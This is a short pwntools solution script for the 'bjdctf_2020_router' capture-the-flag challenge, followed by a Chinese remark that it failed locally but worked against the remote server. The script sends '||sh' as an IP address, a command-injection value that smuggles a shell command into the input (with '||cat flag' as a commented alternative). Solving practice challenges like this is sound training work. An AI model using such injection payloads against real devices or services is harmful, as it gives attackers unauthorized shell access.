1. from pwn import*
    2. context.log_level = 'debug'
    3. io = remote("node4.buuoj.cn",27119)
    4. #io = process('./bjdctf_2020_router')
    5. #elf = ELF('./memory')
    6. io.recvuntil('Please input u choose:')
    7. io.sendline('1')
    8. io.recvuntil('Please input the ip address:')
    9. io.sendline('||sh')#io.sendline('||cat flag')
    10. io.interactive()

    我本地一直搞不通,我还以为方法错了,百度一下没错,打远程就对了